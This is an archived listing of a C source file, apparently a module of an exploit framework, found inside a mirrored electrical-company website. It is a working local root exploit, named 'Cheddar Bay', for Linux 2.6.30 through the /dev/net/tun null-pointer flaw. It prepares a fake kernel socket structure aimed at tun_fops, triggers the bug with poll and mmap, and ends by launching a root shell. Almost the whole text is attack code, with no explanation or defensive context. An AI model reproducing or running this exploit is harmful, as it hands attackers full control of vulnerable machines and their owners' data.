home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_cheddarbay.c next >
C/C++ Source or Header  |  2009-09-20  |  2KB  |  85 lines

  1. /* wunderbar */
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <stdlib.h>
  6. #include <fcntl.h>
  7. #include <poll.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <sys/mman.h>
  11. #include "exp_framework.h"
  12.  
  13. struct exploit_state *exp_state;
  14.  
  15. #define OFFSET_OF_FLAGS 0x8
  16.  
  17. struct sock {
  18.     char gibberish1[0x60];
  19.     char gibberish2[0xe0];
  20.     unsigned long gibberish3[0x50];
  21. };
  22.  
  23. char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root";
  24.  
  25. int prepare(unsigned char *buf)
  26. {
  27.     struct sock *sk = (struct sock *)buf;
  28.     struct pollfd pfd;
  29.     unsigned long target_addr;
  30.     int i;
  31.     int fd;
  32.  
  33.     fd = open("/dev/net/tun", O_RDONLY);
  34.     if (fd < 0) {
  35.         fprintf(stdout, "Unable to open /dev/net/tun!\n");
  36.         return 0;
  37.     }
  38.     close(fd);
  39.     fd = open("/dev/net/tun", O_RDWR);
  40.     if (fd < 0) {
  41.         fprintf(stdout, "Unable to open /dev/net/tun!\n");
  42.         return 0;
  43.     }
  44.  
  45.     target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11);
  46.  
  47.     memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
  48.     memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
  49.     for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
  50.         sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
  51.  
  52.     pfd.fd = fd;
  53.     pfd.events = POLLIN | POLLOUT;
  54.     poll(&pfd, 1, 0);
  55.  
  56.     close(fd);
  57.  
  58.     return EXECUTE_AT_NONZERO_OFFSET | 1;
  59. }
  60.  
  61. int requires_null_page = 1;
  62.  
  63. int get_exploit_state_ptr(struct exploit_state *ptr)
  64. {
  65.     exp_state = ptr;
  66.     return 0;
  67. }
  68.  
  69. int trigger(void)
  70. {
  71.     int fd;
  72.     fd = open("/dev/net/tun", O_RDONLY);
  73.     if (fd < 0)
  74.         return 0;
  75.     mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
  76.     close(fd);
  77.  
  78.     return 1;
  79. }
  80.  
  81. int post(void)
  82. {
  83.     return RUN_ROOTSHELL;
  84. }
  85.